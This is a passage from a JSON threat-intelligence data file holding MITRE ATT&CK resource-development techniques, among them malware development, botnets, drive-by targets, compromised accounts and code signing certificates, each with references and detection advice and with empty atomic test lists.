- "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1587.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
- "type": "attack-pattern",
- "created": "2020-10-01T01:33:01.433Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1587.001",
- "url": "https://attack.mitre.org/techniques/T1587/001"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- },
- {
- "source_name": "Kaspersky Sofacy",
- "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
- "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
- },
- {
- "source_name": "ActiveMalwareEnergy",
- "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
- "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
- },
- {
- "source_name": "FBI Flash FIN7 USB",
- "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/",
- "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."
- },
- {
- "source_name": "FireEye APT29",
- "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
- "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
- }
- ],
- "modified": "2022-01-14T17:14:27.890Z",
- "name": "Malware",
- "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Content",
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1586.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d",
- "type": "attack-pattern",
- "created": "2020-10-01T01:18:35.535Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1586.001",
- "url": "https://attack.mitre.org/techniques/T1586/001"
- },
- {
- "source_name": "AnonHBGary",
- "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
- "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
- },
- {
- "source_name": "NEWSCASTER2014",
- "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
- "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
- },
- {
- "source_name": "BlackHatRobinSage",
- "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
- "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
- }
- ],
- "modified": "2021-10-16T17:15:12.169Z",
- "name": "Social Media Accounts",
- "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Persona: Social Media"
- ]
- },
- "atomic_tests": []
- },
- "T1588.006": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
- "type": "attack-pattern",
- "created": "2020-10-15T02:59:38.628Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.006",
- "url": "https://attack.mitre.org/techniques/T1588/006"
- },
- {
- "source_name": "National Vulnerability Database",
- "url": "https://nvd.nist.gov/",
- "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020."
- }
- ],
- "modified": "2021-04-15T03:16:32.119Z",
- "name": "Vulnerabilities",
- "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1583.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074",
- "type": "attack-pattern",
- "created": "2020-10-01T00:49:05.467Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.005",
- "url": "https://attack.mitre.org/techniques/T1583/005"
- },
- {
- "source_name": "Norton Botnet",
- "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
- "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."
- },
- {
- "source_name": "Imperva DDoS for Hire",
- "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/",
- "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."
- },
- {
- "source_name": "Krebs-Anna",
- "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.",
- "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
- },
- {
- "source_name": "Krebs-Bazaar",
- "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.",
- "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"
- },
- {
- "source_name": "Krebs-Booter",
- "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.",
- "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"
- }
- ],
- "modified": "2021-04-15T02:49:14.664Z",
- "name": "Botnet",
- "description": "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1608.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
- "type": "attack-pattern",
- "created": "2021-03-17T20:33:20.127Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608.004",
- "url": "https://attack.mitre.org/techniques/T1608/004"
- },
- {
- "source_name": "FireEye CFR Watering Hole 2012",
- "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
- "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
- },
- {
- "source_name": "Gallagher 2015",
- "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
- "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- }
- ],
- "modified": "2022-03-08T21:59:57.082Z",
- "name": "Drive-by Target",
- "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1587.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf",
- "type": "attack-pattern",
- "created": "2020-10-01T01:41:08.652Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1587.002",
- "url": "https://attack.mitre.org/techniques/T1587/002"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Code_signing",
- "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
- "source_name": "Wikipedia Code Signing"
- }
- ],
- "modified": "2021-10-17T16:07:08.549Z",
- "name": "Code Signing Certificates",
- "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1584.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
- "type": "attack-pattern",
- "created": "2020-10-01T00:55:17.771Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.003",
- "url": "https://attack.mitre.org/techniques/T1584/003"
- },
- {
- "source_name": "NSA NCSC Turla OilRig",
- "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
- "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T15:59:02.770Z",
- "name": "Virtual Private Server",
- "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Metadata",
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1586.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
- "type": "attack-pattern",
- "created": "2020-10-01T01:20:53.104Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1586.002",
- "url": "https://attack.mitre.org/techniques/T1586/002"
- },
- {
- "source_name": "AnonHBGary",
- "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
- "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
- }
- ],
- "modified": "2021-04-15T02:57:25.544Z",
- "name": "Email Accounts",
- "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1608.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Kobi Haimovich, CardinalOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e",
- "type": "attack-pattern",
- "created": "2021-03-17T20:09:13.222Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608.001",
- "url": "https://attack.mitre.org/techniques/T1608/001"
- },
- {
- "source_name": "Volexity Ocean Lotus November 2020",
- "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
- "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
- }
- ],
- "modified": "2021-10-17T16:24:48.949Z",
- "name": "Upload Malware",
- "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1583.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wes Hurd",
- "Vinayak Wadhwa, Lucideus",
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
- "type": "attack-pattern",
- "created": "2020-09-30T17:09:31.878Z",
